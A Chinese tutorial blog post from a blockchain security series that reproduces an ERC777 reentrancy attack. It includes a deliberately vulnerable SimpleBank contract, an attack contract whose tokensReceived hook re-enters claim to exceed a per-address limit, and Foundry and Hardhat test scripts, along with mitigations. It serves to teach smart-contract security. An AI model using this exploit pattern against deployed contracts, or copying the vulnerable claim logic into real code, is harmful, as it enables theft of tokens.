区块链安全常见的攻击——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】

发布于:2025-02-11 ⋅ 阅读:(23) ⋅ 点赞:(0)

区块链安全常见的攻击合约和简单复现,附带详细分析——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】

Name: ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)

**重点:**通过使用 IERC1820Registry 调用 setInterfaceImplementer 函数,将 ERC777TokensRecipient 接口指向攻击合约地址。攻击合约实现了 tokensReceived 钩子函数,并在钩子中调用 SimpleBankContract.claim(address(this), 1000)。当攻击者调用 SimpleBankContractclaim 函数时,会触发 tokensReceived 钩子,钩子中再次调用 claim,从而实现重入攻击。利用这一漏洞,攻击者能够绕过 SimpleBankContract 对单账户提取上限的限制,反复提取超额代币。

1.1 漏洞合约

contract MyERC777 is ERC777 {
    constructor(
        uint256 initialSupply
    ) ERC777("Gold", "GLD", new address[](0)) {}

    function mint(
        address account,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData
    ) public returns (bool) {
        _mint(account, amount, userData, operatorData);
        return true;
    }
}

contract SimpleBank is Test {
    ERC777 private token;
    uint maxMintsPerAddress = 1000;
    mapping(address => uint256) public _mints;
    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
        keccak256("ERC777TokensRecipient");

    function setUp() external {
        // mock ERC1820Registry contract in foundry
        vm.etch(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
            bytes(
                hex"608060405234801561001057600080fd5b5060043610..."
            )
        );
    }

    constructor(address nftAddress) {
        token = ERC777(nftAddress);

        // Register IERC1820Registry
        IERC1820Registry registry = IERC1820Registry(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
        );
        registry.setInterfaceImplementer(
            address(this),
            _TOKENS_RECIPIENT_INTERFACE_HASH,
            address(this)
        );
    }

    function claim(address account, uint256 amount) public returns (bool) {
        // Check if total claims for the address would exceed max mints per address.
        require(
            _mints[account] + amount <= maxMintsPerAddress,
            "Exceeds max mints per address"
        );

        token.transfer(account, amount);
        _mints[account] += amount; // Do not follow check-effect-interaction

        return true;
    }

    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata data,
        bytes calldata operatorData
    ) external {}

    receive() external payable {}
}

1.2 漏洞分析

ERC777 的 transfer 函数会触发 tokensReceived 钩子,该钩子允许执行任意代码。
攻击合约可以在 tokensReceived 钩子中通过重入再次调用 claim,从而绕过 _mints 的检查逻辑,重复领取更多代币。
在这里插入图片描述

1.3 攻击分析

  1. 恶意合约首先调用 claim 函数申请代币。
    在这里插入图片描述
    在这里插入图片描述

  2. token.transfer 被调用,此时触发_send→_callTokensReceived→ tokensReceived 钩子。

function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _send(_msgSender(), recipient, amount, "", "", false);
        return true;
    }

function _send(
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData,
        bool requireReceptionAck
    ) internal virtual {
        require(from != address(0), "ERC777: transfer from the zero address");
        require(to != address(0), "ERC777: transfer to the zero address");

        address operator = _msgSender();

        _callTokensToSend(operator, from, to, amount, userData, operatorData);

        _move(operator, from, to, amount, userData, operatorData);

        _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
    }
    
    function _callTokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData,
        bool requireReceptionAck
    ) private {
        address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
        if (implementer != address(0)) {
            IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
        } else if (requireReceptionAck) {
            require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
        }
    }
  1. 恶意合约在 tokensReceived 钩子中再次调用 claim,因为 _mints 尚未更新,绕过了检查。
// tokensReceived 钩子函数 - 用于执行重入攻击
    function tokensReceived(
        address payable operator, // 操作者地址
        address from, // 发送者地址
        address to, // 接收者地址
        uint256 amount, // 转账金额
        bytes calldata data,
        bytes calldata operatorData
    ) external {
        if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {
            console.log("777-ContractTest-tokensReceived()-222");
            // 在回调中再次调用领取函数,绕过领取上限
            SimpleBank(operator).claim(address(this), 1000);
        }
    }
  1. 因此获取超过限制的代币。
    在这里插入图片描述

1.4 攻击合约

// ----------------- 攻击 -------------------
contract ContractTest is Test {
    MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例
    SimpleBank SimpleBankContract; // 简单银行合约实例
    address alice = vm.addr(1); // Alice 的地址
    address eve = vm.addr(2); // Eve 的地址

    bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH =
        keccak256("ERC777TokensSender"); // ERC1820 发送者接口
    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
        keccak256("ERC777TokensRecipient"); // ERC1820 接收者接口

    // 初始化测试环境
    function setUp() external {
        // 使用 Foundry 模拟 ERC1820Registry 合约
        vm.etch(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
            bytes(
                hex"608060405234801561001057600..."
            )
        );
        MyERC777TokenContract = new MyERC777(0); // 部署自定义 ERC777 合约
    }

    // 测试 ERC777 重入攻击
    function testERC777Reentrancy() public {
        // 在 ERC1820Registry 中注册接收者接口
        IERC1820Registry registry = IERC1820Registry(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
        );
        // 注册 tokensReceived 钩子函数
        registry.setInterfaceImplementer(
            address(this),
            _TOKENS_RECIPIENT_INTERFACE_HASH,
            address(this)
        );

        // 初始化环境
        SimpleBankContract = new SimpleBank(address(MyERC777TokenContract));
        MyERC777TokenContract.mint(address(SimpleBankContract), 10000, "", ""); // 铸造 10,000 个代币到银行合约

        console.log(
            "Maximum claims is 1,000 for each EOA, How can you bypass this limitation?"
        );
        console.log(
            "testERC777Reentrancy attack address(this)",
            address(this) // 攻击前余额
        );
        console.log(
            "Before exploiting, My GLD Balance :",
            MyERC777TokenContract.balanceOf(address(this)) // 攻击前余额
        );

        // 发起领取请求,触发 tokensReceived 回调函数
        SimpleBankContract.claim(address(this), 900);

        // 攻击后余额,预期应为 1,900
        console.log(
            "After exploiting, My GLD Balance :",
            MyERC777TokenContract.balanceOf(address(this)) // 攻击后余额
        );
    }

    // tokensReceived 钩子函数 - 用于执行重入攻击
    function tokensReceived(
        address payable operator, // 操作者地址
        address from, // 发送者地址
        address to, // 接收者地址
        uint256 amount, // 转账金额
        bytes calldata data,
        bytes calldata operatorData
    ) external {
        if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {
            console.log("777-ContractTest-tokensReceived()-222");
            // 在回调中再次调用领取函数,绕过领取上限
            SimpleBank(operator).claim(address(this), 1000);
        }
    }

    // 接收以太币的回退函数
    receive() external payable {}
}

1.5 hardhat版本自己重现了一次

漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";

/*
名称:ERC777 重入漏洞

描述:
ERC777 代币允许在代币转账过程中通过钩子函数(`tokensReceived`)执行任意回调。
如果没有使用重入保护(Reentrancy Guard),恶意合约可以利用这些回调进行重入攻击,导致状态不一致或逻辑错误。

场景:
假设每个外部账户(EOA)最多只能领取 1,000 个代币。
攻击者可以通过重入调用绕过这一限制,领取超过上限的代币。

缓解措施:
1. 遵循检查-效果-交互模式(Check-Effect-Interaction)。
2. 使用 OpenZeppelin 的 `ReentrancyGuard` 防止重入攻击。

参考:
https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5
*/

contract MyERC777 is ERC777 {
    constructor(
        uint256 initialSupply
    ) ERC777("Gold", "GLD", new address[](0)) {}

    function mint(
        address account,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData
    ) public returns (bool) {
        console.log("MyERC777-mint()-111");
        _mint(account, amount, userData, operatorData);
        return true;
    }
}

contract SimpleBank {
    ERC777 private token; // ERC777 代币实例
    uint maxMintsPerAddress = 1000; // 每个地址的最大领取限制
    mapping(address => uint256) public _mints; // 记录用户已领取的代币数量

    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
        keccak256("ERC777TokensRecipient");

    constructor(address nftAddress) {
        token = ERC777(nftAddress);

        // 在 ERC1820Registry 中注册接收者接口
        IERC1820Registry registry = IERC1820Registry(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
        );
        registry.setInterfaceImplementer(
            address(this),
            _TOKENS_RECIPIENT_INTERFACE_HASH,
            address(this)
        );
    }

    function getNum() public view returns (address registryGet) {
        IERC1820Registry registry = IERC1820Registry(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
        );
        registryGet = registry.getInterfaceImplementer(
            address(this),
            _TOKENS_RECIPIENT_INTERFACE_HASH
        );
        return registryGet;
    }

    // 用户领取代币
    function claim(address account, uint256 amount) public returns (bool) {
        // 检查领取是否超出限制
        require(
            _mints[account] + amount <= maxMintsPerAddress,
            "Exceeds max mints per address"
        );
        console.log("111-ERC777-reentrancy-claim()");
        token.transfer(account, amount); // 转移代币
        _mints[account] += amount; // 更新领取记录(未遵循检查-效果-交互模式)

        return true;
    }

    // tokensReceived 回调函数
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata data,
        bytes calldata operatorData
    ) external {
        console.log("777-SimpleBank-tokensReceived()-111");
    }

    // 接收以太币回退函数
    receive() external payable {}
}

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import "./ERC777-Bank.sol";

contract ERC777Attack {
    MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例
    SimpleBank SimpleBankContract; // 简单银行合约实例
    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
        keccak256("ERC777TokensRecipient");

    constructor(address MyERC777TokenAddress, address SimpleBankAddress) {
        MyERC777TokenContract = MyERC777(address(MyERC777TokenAddress));
        SimpleBankContract = SimpleBank(payable(address(SimpleBankAddress)));
        // // 在 ERC1820Registry 中注册接收者接口
        // IERC1820Registry registry = IERC1820Registry(
        //     address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
        // );
        // registry.setInterfaceImplementer(
        //     address(this),
        //     _TOKENS_RECIPIENT_INTERFACE_HASH,
        //     address(this)
        // );
    }

    function resetRegistry() public {
        // 在 ERC1820Registry 中注册接收者接口
        IERC1820Registry registry = IERC1820Registry(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
        );
        // 注册 tokensReceived 钩子函数
        registry.setInterfaceImplementer(
            address(this),
            _TOKENS_RECIPIENT_INTERFACE_HASH,
            address(this)
        );
    }

    function getNum() public view returns (address registryGet) {
        IERC1820Registry registry = IERC1820Registry(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
        );
        registryGet = registry.getInterfaceImplementer(
            address(this),
            _TOKENS_RECIPIENT_INTERFACE_HASH
        );
        return registryGet;
    }

    function attack() public {
        resetRegistry();
        // 发起领取请求,触发 tokensReceived 回调函数
        SimpleBankContract.claim(address(this), 100);
    }

    // tokensReceived 钩子函数 - 用于执行重入攻击
    function tokensReceived(
        address payable operator, // 操作者地址
        address from, // 发送者地址
        address to, // 接收者地址
        uint256 amount, // 转账金额
        bytes calldata data,
        bytes calldata operatorData
    ) external {
        if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {
            console.log("777-ContractTest-tokensReceived()-222");
            // 在回调中再次调用领取函数,绕过领取上限
            SimpleBankContract.claim(address(this), 1000);
        }
    }

    receive() external payable {}
}

js 脚本

const { ethers } = require("hardhat");
const MyERC777 = require("../artifacts/contracts/ERC777-Bank.sol/MyERC777.json");
const SimpleBank = require("../artifacts/contracts/ERC777-Bank.sol/SimpleBank.json");
const ERC777Attack = require("../artifacts/contracts/ERC777-reentrancy-Attack.sol/ERC777Attack.json");
const hre = require("hardhat");

describe("ERC777", function () {
  var ERC1820Registry,
    MyERC777Contract,
    MyERC777Address,
    SimpleBankContract,
    SimpleBankAddress,
    ERC777AttackContract,
    ERC777AttackAddress;
  async function erc777ReentrancyTest() {
    const [owner, implementer] = await ethers.getSigners();
    const erc1820Address = "0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24";
    ERC1820Registry = await ethers.getContractAt(
      "IERC1820Registry",
      erc1820Address
    );
    console.log("ERC1820Registry address:", await ERC1820Registry.getAddress());
    const MyERC777Factory = new ethers.ContractFactory(
      MyERC777.abi,
      MyERC777.bytecode,
      owner
    );
    MyERC777Contract = await MyERC777Factory.deploy(0);
    MyERC777Address = await MyERC777Contract.getAddress();
    console.log("MyERC777 address:", MyERC777Address);

    const SimpleBankFactory = new ethers.ContractFactory(
      SimpleBank.abi,
      SimpleBank.bytecode,
      owner
    );
    SimpleBankContract = await SimpleBankFactory.deploy(MyERC777Address);
    SimpleBankAddress = await SimpleBankContract.getAddress();
    console.log("SimpleBank address:", SimpleBankAddress);
    const ERC777AttackFactory = new ethers.ContractFactory(
      ERC777Attack.abi,
      ERC777Attack.bytecode,
      owner
    );
    ERC777AttackContract = await ERC777AttackFactory.deploy(
      MyERC777Address,
      SimpleBankAddress
    );
    ERC777AttackAddress = await ERC777AttackContract.getAddress();
    console.log("ERC777AttackContract address", ERC777AttackAddress);
  }

  async function erc777ReentrancyAttack() {
    let bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);
    console.log("bank contract Balance:", bankBalance);
    // 攻击前提,Bank合约有代币
    await MyERC777Contract.mint(
      SimpleBankAddress,
      10000,
      "0x", // 用有效的空字节
      "0x" // 用有效的空字节
    );
    bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);
    console.log("bank contract Balance:", bankBalance);
    let attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);
    console.log("攻击前,attack contract Balance:", attackBalance);

// ------- 攻击---------------发起领取请求,触发 tokensReceived 回调函数
    await ERC777AttackContract.attack();

    attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);
    console.log("攻击后,attack contract Balance:", attackBalance);
    registryGet = await ERC777AttackContract.getNum();
    // console.log("registryGet address:", registryGet);
  }
  
    it("erc777ReentrancyTest deploy error", async function () {
    await erc777ReentrancyTest();
  });

  it("erc777ReentrancyTest attack error", async function () {
    await erc777ReentrancyAttack();
  });
});

结果输出:
在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到